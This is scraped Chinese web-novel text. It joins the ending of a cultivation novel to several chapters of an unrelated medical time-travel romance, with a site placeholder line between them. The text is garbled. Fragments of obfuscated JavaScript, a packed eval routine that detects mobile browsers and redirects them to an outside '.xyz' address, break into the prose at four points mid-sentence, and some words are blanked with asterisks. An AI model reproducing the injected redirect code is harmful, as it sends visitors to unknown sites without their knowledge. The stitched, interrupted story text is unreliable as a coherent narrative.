面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百六十三章 坦白 “需要等春儿情况再稳定些!”李梵娘道,“而且…提取和纯化需要时间,需要专业的设备。” “设备?”杜仁绍一愣。 “我有办法!”李梵娘意念一动。 “帮我准备一个绝对干净的房间!”李梵娘对张大娘吩咐道。 很快,一间厢房被紧急布置成临时实验室。李梵娘穿上系统兑换的无菌服,戴上手套口罩。 春儿在杜仁绍的安抚下,安静地躺在小床上。 李梵娘小心翼翼地抽了少量春儿的血液。 然后,在系统辅助下,分离纯化过程快速进行,因着没让杜仁绍等人在场,里她直接在系统空间用一年进行实验。 一个时辰后,一支装着淡金色液体的试管出现在李梵娘手中,这就是浓缩提纯后的“春儿抗体血清”。 “成了!”李梵娘眼中充满希望。 “走!去王府!”杜仁绍迫不及待。 睿王府,病房内。 李睿依旧昏迷,潜伏的蛊毒,如同定时**。 王猛等人看到李梵娘和杜仁绍回来,如同见到救星。 “夫人,将军,殿下他…刚才又轻微抽搐了一次!”王猛焦急道。 李梵娘心中一凛,“不能再等了,注射抗体血清。” 她拿出那支淡金色的血清,在众人紧张的目光中,缓缓注射进李睿的静脉。 所有人的心都提到了嗓子眼。 几分钟后,开始发生微妙的变化,他的呼吸更加均匀。 “系统,看看情况。” 【24小时就醒了】 “成功了!”李梵娘激动地握紧了拳头。 “太好了!”杜仁绍和王猛等人喜极而泣。 “血清…奏效了!”李梵娘的脸上露出笑容,“九殿下…得救了!” 消息传回皇宫,皇帝龙颜大悦。 连下三道圣旨。 嘉奖李梵娘救驾之功,封春儿为“安乐公主”,赐“福佑安康”金匾。 同时,严令刑部、大理寺、玄甲军,彻查西羌余孽,务必揪出潜伏宫中的黑手。 皇后(已死)被废黜后位,追贬为庶人,睿王妃因被控制,免于死罪,但废黜王妃之位,削发为尼,终身幽禁。 睿王府一干人等,严加审查。 李睿和春儿双双脱险。 数日后,李睿在众人的期盼中缓缓苏醒。 得知事情经过,他感慨万千,对李梵娘和杜仁绍的救命之恩感激涕零。 春儿也康复如初,活泼可爱。 镇国公府内。 李梵娘抱着康复的春儿,杜仁绍拥着她们母女,享受着难得的宁静。 “梵娘,”杜仁绍低声道,“这次…多亏了春儿。” “嗯。”李梵娘亲了亲女儿的额头,“春儿是我们的福星。” 杜仁绍拥着她们母女,感受着怀中真实的温暖和重量,心中那根紧绷了许久的弦,终于松下来。 然而,西羌大祭司临死前那句“异世之魂”,却像一根刺,始终扎在他心底。 他看着李梵娘的侧脸,“梵娘…” 杜仁绍声音沙哑,带着复杂,打破了室内的宁静。 李梵娘抬起头,对上他的眼睛,微微一怔:“怎么了?” 杜仁绍深吸一口气,仿佛下定了某种决心。 他轻轻将熟睡的春儿交给候在一旁的张大娘:“带春儿去休息吧。” “是。”张大娘小心翼翼地抱着春儿退了出去。 房间里只剩下他们两人。 烛火跳跃,在杜仁绍的脸上投下明明灭灭的光影。 他走到窗边,背对着李梵娘,望着窗外沉沉的夜色,沉默了许久。 “梵娘…”他终于再次开口,声音有些颤抖,“你…有没有觉得…我…和以前不一样了?” 李梵娘心头微动。 她走到他身边,轻轻握住他紧握成拳的手:“你是指…从河西府回来之后?” “嗯。”杜仁绍没有回头,声音闷闷的,“或者说…从你…从你那次在祠堂昏倒醒来之后…” 那是她穿越而来的时间点? 李梵娘的心猛地一跳。 “你变得…很不一样。”杜仁绍缓缓转过身,目光灼灼地凝视着她,仿佛要穿透她的灵魂。 “不再是那个…懦弱、胆小、任人欺凌的李梵娘。你变得…强大、冷静、无所不能,你的医术…你的见识…你的手段…甚至…你那些…那些‘法器’…” 他每说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352961|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,李梵娘的心就沉一分。 原来…他早就知道了,或者说…他早就怀疑了,只是没说。 不过也不奇怪,她的医术、系统给的东西,很多都能看出来端倪。 “我…”李梵娘张了张嘴,想解释,却不知从何说起。 “你不用急着解释。”杜仁绍打断她,眼里挣扎,“我知道…你不是她。” “什么?”李梵娘瞳孔骤然收缩,他…他竟然直接点破了。 “你不是原来的李梵娘。” “原来的她…在祠堂那次…就…就已经不在了。对吗?” 李梵娘浑身僵硬,她看着杜仁绍的眼睛,那里没有愤怒,没有恐惧,只有深不见底的悲伤和了然。 “你…你怎么知道?”李梵娘的声音干涩沙哑。 杜仁绍没有立刻回答。 他走到桌边,倒了两杯茶,递给李梵娘一杯。 茶水微凉,却让他混乱的心神稍稍平复。 “因为…”他端起茶杯,却没有喝,目光落在跳跃的烛火上,声音飘忽,“我也…不是原来的杜仁绍了。” 李梵娘再次震惊,不是原来的杜仁绍? 什么意思?难道…他也是…? “我…死过一次。”杜仁绍声音平静,“就在…你醒来之前不久。” “死…死过一次?”李梵娘失声惊呼。 “嗯。”杜仁绍点点头,眼神中闪过痛楚和戾气,“在河西府…被七皇子的人…乱箭穿心…死在了…一片冰天雪地里…” 李梵娘倒吸一口凉气乱箭穿心? “那…那你…”李梵娘声音发颤。 “我也不知道怎么回事。”杜仁绍摇摇头,眼中带着迷茫和后怕,“我以为…我**。魂魄离体,很冷…很痛…然后…不知过了多久…” “突然…一股力量把我拽了回去,再睁眼…我发现自己…躺在河西府军营的床上,时间…回到了我遇袭的前一天。” 他竟然是重生者? 李梵娘彻底懵了,这…这比她的穿越还要离奇。 “一开始…我以为只是噩梦…”杜仁绍继续说道,声音苦涩,“但…那种濒死的痛苦…太真实了,而且…我发现自己…脑子里多了很多…不属于我的记忆。” 第一百六十四章 前世今生 “或者说…是未来的记忆,我知道谁会背叛我,知道哪里会有埋伏,知道…七皇子的阴谋,甚至…知道…知道原来的李梵娘…会在不久后…死于非命…” 他猛地抬起头,目光灼灼地看向李梵娘,带着狂喜和恐惧:“所以…当我赶回杜家村…看到你…看到你醒来的那一刻…我就知道。” “你不是她,那个懦弱的、可怜的、注定要死的李梵娘…已经不在了,你是…你是老天爷给我的…第二次机会,是…是来救我的!救春儿的!救所有人的!” 他越说越激动,抓住李梵娘的肩膀,声音带着哽咽:“梵娘,我不管你是谁!不管你从哪里来!不管你那些‘法器’是什么!” “我只知道,是你把我从地狱里拉了回来;是你救了春儿,救了我、救了云州、救了李睿、救了无数的人。” “你…你就是我的梵娘,是我杜仁绍这辈子…唯一的妻子!唯一的爱人!” 他害怕,害怕这一切只是一场梦,害怕这个照亮他黑暗人生的女子…会像她突然出现一样…突然消失。 李梵娘看着眼前这个卸下所有盔甲、袒露着内心的男人,看着他眼中汹涌的泪水,听着他发自肺腑的告白… 心中所有的震惊、疑虑、不安,都被冲散。 她反手紧紧抱住他颤抖的身体,将脸埋在他的胸膛,泪水无声滑落:“傻子…你这个傻子…” 烛火摇曳,将相拥的两人照亮。 杜仁绍紧紧抱着李梵娘,仿佛要将她揉进自己的骨血里,永远不再分离。 李梵娘靠在他怀里,感受着他微微颤抖的身体。 原来…他早就知道。 原来…他经历了那样的痛苦和绝望。 原来…他把她视为救赎和唯一的光。 “所以…”李梵娘抬起头,泪眼朦胧地看着他,“你早就知道我不是她…却一直…装作不知道?” “嗯。”杜仁绍低头,温柔地擦去她脸上的泪痕,声音带着一丝沙哑。 “我怕…怕说出来…会吓跑你…怕你会觉得…我是个怪物…或者…怕你会离开…” “傻瓜…”李梵娘破涕为笑,心中又酸又软,“我怎么会离开?这里…有春儿…有你…就是我的家啊!” “那…”杜仁绍眼中闪过一丝紧张,“你…你愿意告诉我…你是谁吗?从哪里来?那些…那些神奇的东西…是什么?” 李梵娘看着他充满期待的眼神,心头一软。 她拉着他坐下,给自己和他都倒了一杯热茶,整理了一下思绪。 “我…来自一个很远很远的地方。”李梵娘的声音轻柔。 “那里…和这里很不一样。没有皇帝,没有贵族,人人平等。有会飞的铁鸟(飞机),有在地上跑的钢铁长龙(火车),有能瞬间联系千里之外的工具(手机)…医术…也很发达。很多在这里致命的疾病,在那里…都能治好。” 杜仁绍听得目瞪口呆,眼中满是不可思议。 “我…在那里,也是一个医生。”李梵娘继续说道,“在一次…意外中…我失去了生命。再醒来…就变成了…杜家的李梵娘。同时…我的脑海里…多了一个…东西。” “东西?”杜仁绍疑惑。 “嗯。”李梵娘点点头,“它给了我很多…超越这个时代的医术知识…还有…兑换那些‘法器’的能力。” 她伸出手,掌心凭空出现一支注射器:“就像这样…只要我完成它发布的任务,就可以兑换各种需要的药品、器械…甚至救命神器。” 杜仁绍看着那凭空出现的注射器,瞳孔微缩,但很快便恢复了平静。 他经历了重生,又亲眼见证了李梵娘创造的无数奇迹,对于这种“神迹”,接受度反而很高。 “所以…那些救活陛下、李睿、春儿的东西…都是这个它给你的?”杜仁绍问道。 “对。”李梵娘点头,“它是我最大的依仗。也是我…能在这个时代立足的根本。” “那…”杜仁绍眼中闪过一丝忧虑,“它…会不会…有一天…离开你?或者…要求你…回去?” 这是他最害怕的,西羌大祭司的“异世之魂”,让他联想到李梵娘的来历,他害怕,害怕那个神秘的东西会把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352962|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她带走。 李梵娘感受到他的紧张,反握住他的手,声音温柔:“不会。它更像是一个辅助者,它的使命,似乎是帮助我在这个世界传播医术,救治更多的人。它从未提过要我回去。” “而且…它现在…对我几乎是完全开放的,所有的东西,我都可以随意取用,它…更像是我的伙伴。” 她看着杜仁绍的眼睛,一字一句道:“仁绍,我回不去了。我也不想回去。这里…有我的爱人,有我的女儿,有我的事业和理想,这里…就是我的归宿,我的家。” 杜仁绍看着她眼里的深情,心中那块悬了许久的巨石,终于落地。 他猛地将她拥入怀中,声音哽咽:“梵娘,谢谢你,谢谢你留下来!谢谢你…成为我的妻子!” 两人紧紧相拥,感受着彼此的心跳和温度。 “对了,”李梵娘想起什么,抬起头,“你刚才说…你重生前…死在河西府?被七皇子的人乱箭穿心?” “嗯。”杜仁绍眼神一暗,“那是…大概三年后的事情。七皇子勾结狄人,设下埋伏…我中了圈套…” “现在不一样了!”杜仁绍握紧她的手,眼中闪烁着坚定的光芒,“因为有你,所有的事情已经改变,七皇子伏诛,狄人溃败,我们…都活下来了。” “嗯!”李梵娘用力点头,眼中充满希望。 “还有…”杜仁绍犹豫了一下,还是说道,“那个西羌大祭司…临死前喊的‘异世之魂’…我总觉得…和你有关联。我…我还是很担心…” 她抬起头,捧住他的脸,指腹描绘着他棱角分明的轮廓,眼中是化不开的柔情。 “我是你的妻子李梵娘。是春儿的娘亲。是镇国公夫人。是教**局的提督。我在这里,在你身边,在春儿身边,哪里也不会去。除非…你不要我了。” “胡说什么!”杜仁绍猛地收紧手臂,将她狠狠按进怀里,力道大得几乎让她喘不过气,声音哽咽。 “我怎么会不要你,我杜仁绍此生,唯你一人!死生契阔,与子成说!你生是我杜家的人,死…也休想离开我半步!” 第一百六十五章 日常 霸道又带着孩子气的宣言,让李梵娘心头滚烫。 “嗯,”她闷闷地应了一声,带着笑意,“那我就不走了。赖着你,赖着春儿,赖着这个家,赖一辈子。” 杜仁绍长长地呼出一口气。 “梵娘…”他低低唤道,声音带着满足,“谢谢你…留下来。” “傻瓜,”李梵娘在他怀里蹭了蹭,找到一个更舒服的位置,“是我该谢谢你。谢谢你…没有把我当成怪物。谢谢你…一直以来的信任和保护。” 提到春儿,杜仁绍的眼神柔和得不可思议。 “春儿…是我们的福星。”他低声道,“看到她,我就觉得,无论经历过什么,都是值得的。” “是啊。”李梵娘也笑了,眼前浮现出女儿的笑脸,“有她在,我们更要好好的。给她一个安稳的家,看着她长大,嫁人…” “嗯。”杜仁绍应着。 翌日清晨,阳光透过窗棂,洒下一片金色。 李梵娘在杜仁绍怀中醒来,一睁眼便对上他含笑的眼睛。 他不知醒了多久,就这样静静地看着她,眼神柔得能滴出水来。 “醒了?”他声音有些沙哑,格外撩人。 “嗯。”李梵娘慵懒地应了一声,脸颊微红。 昨夜一番深谈,卸下了所有心防,此刻被他这么专注地看着,竟有些羞涩。 “饿不饿?”杜仁绍伸手,将她颊边散落的发丝别到耳后,动作自然亲昵。 “有点。”李梵娘点点头。 “想吃什么?我让厨房做。” “想吃…城东那家铺子的蟹黄汤包。”李梵娘想了想,带着点撒娇的意味。 她知道那家铺子在城东,离府邸很远。 杜仁绍闻言,眼中笑意更深,“好。我去买。” “真的?”李梵娘有些意外,她只是随口一说。 “嗯。”杜仁绍俯身,在她额头印下一吻,“夫人想吃的,再远也得买回来。你再睡会儿,等我回来。” 看着他眉宇间是掩不住的意气风发,李梵娘心里暖洋洋的。 这个在外人面前跟个冰坨子似的镇国公,在她面前也是不错的嘛。 杜仁绍果然亲自骑马去了城东。 等他提着热气腾腾的食盒回来时,李梵娘已经梳洗完毕,正坐在窗边看书。 春儿也醒了,被张大娘抱在怀里玩着布老虎。 “爹!娘!”春儿看到杜仁绍,立刻伸出小手,奶声奶气地喊着。 杜仁绍大步走过去,先将食盒递给李梵娘,然后一把将女儿抱过来,高高举起,惹得春儿咯咯直笑。 “蟹黄汤包,还有你爱吃的枣泥酥。”杜仁绍抱着春儿坐下,示意张大娘摆饭。 一家三口围坐在桌边,其乐融融。 杜仁绍笨拙地给春儿喂着米糊,李梵娘则夹起一个汤包,吹凉递到他嘴边:“尝尝?” 杜仁绍张口咬住,他满足地眯起眼:“好吃。” 李梵娘看着他孩子气的表情,忍不住笑了。 这一刻,没有朝堂纷争,没有阴谋诡计,只有最烟火气和家人相伴。 饭后,杜仁绍没有像往常一样立刻去处理军务,而是陪着李梵娘在花园里散步。 “教**局那边…重建得差不多了吧?”杜仁绍牵着李梵娘的手。 “嗯,主体都完工了,周院正带着人在做最后的布置和清洁。”李梵娘点头,“等李睿身体再好些,就可以重新开课了。” “辛苦你了。”杜仁绍紧了紧她的手,“等忙过这阵,我带你和春儿去京郊的温泉庄子住几天,好好放松一下。” “温泉?”李梵娘眼睛一亮。 她来这个世界这么久,还没享受过温泉呢。 “嗯,是我早年置办的一处产业,环境清幽,温泉水对身体也好。”杜仁绍看着她期待的样子,嘴角勾起,“你喜欢就好。” 两人正说着话,管家张贵匆匆走来,躬身道:“国公爷,夫人,九王府派人来传话,说殿下醒了,精神尚可,想请夫人过去看看。” “好,我这就去。”李梵娘立刻应道。 李睿的康复是大事。 “我陪你一起去。”杜仁绍道。 “不用了,”李梵娘摇摇头,“你军务繁忙,去忙你的吧。我去看看殿下,很快就回来。” 杜仁绍沉吟片刻,点点头:“也好。让王猛带人护送你。小心些。” “嗯。”李梵娘踮起脚尖,在他脸上轻轻一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他猛地抬头,看向刚刚走进来的李梵娘,声音急促:“梵娘!北境出事了!” 李梵娘心头一紧,快步上前:“怎么了?” “镇北军八百里加急!”杜仁绍将密报递给她,眉头紧锁,“北境边城‘朔风堡’爆发大规模疫病!染病者高热不退,咳喘不止,口唇青紫,病势凶猛。” “短短数日,已有数百军士病倒,数十人死亡,疫情仍在蔓延,已波及周边村镇。” “军医束手无策,北境王萧战急报求援,恳请朝廷速派良医,调拨药材。” “大规模疫病?”李梵娘接过密报快速浏览,心猛地沉了下去。 高热、咳喘、胸痛、青紫…这症状是急性肺炎,而且是像是传染性极强的细菌性肺炎。 李梵娘脸色凝重,“这不是疫病,是肺痨,而且是烈性传染的肺痨。” “肺痨?”杜仁绍眼神一凛,他虽不通医理,但也知道肺痨意味着什么,十室九空,尸横遍野。 “朔风堡是北境门户,驻军上万,周边村镇百姓众多,若病情失控…”杜仁绍不敢想象那后果。 不仅北境军民死伤惨重,更可能危及大胤北疆防线,狄人若趁机入侵… “必须立刻支援!”李梵娘斩钉截铁,“肺痨初期,控制得当,尚可挽救,一旦大面积爆发,后果不堪设想。” “好!”杜仁绍没有丝毫犹豫,“我立刻进宫面圣,请旨北上,你…准备大夫这边,需要什么药材器械,列单子!我让内库和太医院全力配合!” “嗯!”李梵娘点头,“我亲自带人去,教**局抽调医工,另外…需要大量烈酒、生石灰、棉布、隔离帐篷,最重要的是…特效药。” “特效药?”杜仁绍看向她。 “对!”李梵娘眼神坚定,“我有办法!但…需要时间准备!你先进宫,我列好清单,随后就到” 杜仁绍深深看了她一眼,没有多问,重重点头:“好!注意安全!等我回来!”说完,抓起佩刀,大步流星地冲了出去。 李梵娘立刻回到书房,铺开纸笔,“系统,分析那边的病原体,把要用的物资清单列一下。” 【细菌性肺炎,你就用点儿头孢和青霉素就行。】 【宿主,东西我都给你放系统空间了。】 李梵娘又把需要的药材和治疗方案列出来。 一个时辰后,御书房。 皇帝李恒脸色铁青,看着杜仁绍呈上的北境急报和李梵娘列出的清单及方案。 “肺痨?”皇帝声音有些颤抖,“北境…竟遭此大难,杜卿,李夫人。你们…可有把握?” “陛下!”杜仁绍单膝跪地,“肺痨虽凶险,但并非无解。” “我夫人医术通神,已有应对之策,臣愿亲率玄甲军精锐,护送医疗队北上。定将疫情控制在朔风堡,保我北境军民!了,护我大胤疆土!” “陛下!”李梵娘也躬身道,“臣妇有特效药物及防疫之法,只要行动迅速,措施得当,必能遏制疫情,请陛下恩准!” 皇帝看着两人,眼中闪过决断:“准,杜仁绍,朕命你为钦差大臣,总领北境防疫事宜,节制北境诸军,赐王命旗牌,便宜行事!了。” “李梵娘,朕命你为防疫总医官,统领医疗队。所需一切物资人员,由内库、太医院、京畿大营全力配合,务必…扑灭疫情,救民于水火!” “臣(臣妇)领旨!万死不辞!”两人齐声应道。 圣旨一下,整个京城都忙碌起来,内库敞开,太医院倾巢而出,京畿大营调集精锐。 李梵娘坐镇教**局,亲自挑选了五十名经验丰富、心理素质过硬的医工,进行讲解、防护措施、药物使用。 杜仁绍则调集了五百名玄甲军骑兵,负责护卫、维持秩序、执行隔离。 同时,征调大量马车,装载物资。 短短两日,一支由军队、医者、物资组成的队伍,集结完毕。 出发前夜,镇国公府。 春儿似乎感受到了离别的气氛,格外粘人,抱着李梵娘不肯撒手:“娘…不要走…春儿怕…” 李梵娘心中酸涩,紧紧抱着女儿:“春儿乖,娘要去救很多很多生病的人。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359817|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像救你一样。你在家要听张大娘的话,好好吃饭,好好睡觉,等娘回来,好不好?” “嗯…”春儿眼里噙着泪水,用力点头,“春儿乖…等娘回来…” 杜仁绍走过来,将女儿抱在怀里,揉了揉她的头发:“爹和娘很快就回来。春儿是勇敢的小公主,对不对?” “对!”春儿挺起小胸脯,努力不让眼泪掉下来。 安抚好女儿,两人回到卧房。 烛光下,气氛有些凝重。 “北境苦寒,疫情凶险…”杜仁绍看着李梵娘,眼中满是担忧,“你…一定要小心!保护好自己!” “放心。”李梵娘握住他的手,眼神坚定,“我有后手,有经验。” “倒是你,带兵在外,执行隔离,风险更大,一定要做好防护,听我的安排。” “嗯。”杜仁绍点头,将她拥入怀中,“我会的。为了你,为了春儿,我也不会让自己有事。” “等这次回来…”李梵娘靠在他胸口,轻声道,“我们就去温泉庄子,好好休息几天。就我们三个。” “好。”杜仁绍低头,吻了吻她的发顶,“一言为定。” 寒风凛冽,军旗猎猎。 车队在官道上蜿蜒前行,直奔北境。 杜仁绍一身玄甲,骑在战马上,走在队伍最前方。 他神情冷峻,警惕地扫视着四周。 五百玄甲军分列两侧,护着中间的医疗队和物资车队。 李梵娘坐在一辆相对宽敞的马车内。 车内堆满了系统兑换的药品和器械,不过大部分在空间,少量掩人耳目。 她正抓紧时间,给刘二柱等医工进行最后的嘱托。 “记住,进入疫区,第一要务是保护自己!”李梵娘声音严肃,“防护服必须穿戴整齐,口罩绝不能摘。” “接触病人前后,必须用酒精彻底消毒双手,任何暴露的皮肤,都要避免接触病人” “是!夫人!”他们齐声应道,神情紧张。 “治疗原则:先救命,再治病!”李梵娘继续道。 第一百六十七章 耐药菌 “高热者,优先退热;呼吸困难者,吸氧;咳喘严重者,用平喘药;重症者,优先注射‘青霉素’;轻症者,口服‘头孢’。” “严格按照剂量,注意过敏反应,发现异常,立刻报告!” “明白!” 队伍日夜兼程,风餐露宿。 越往北行,天气越发寒冷,道路越发崎岖。 沿途所见,流民渐多,个个面带惊恐,拖家带口地向南逃难。 空气中弥漫着恐慌。 “将军!夫人!”一人快马回报,“前方十里,就是‘黑石镇’,镇口…设了关卡,有…有很多病人,哭声震天!” 黑石镇,距离朔风堡最近的大镇。 “加速前进!”杜仁绍沉声。 很快,黑石镇出现在眼前。 镇口被木栅栏和拒马封死,数十名民兵守在栅栏后,个个眼神惊恐绝望。 栅栏内,临时搭建的草棚下,挤满了呻吟咳嗽的病人。 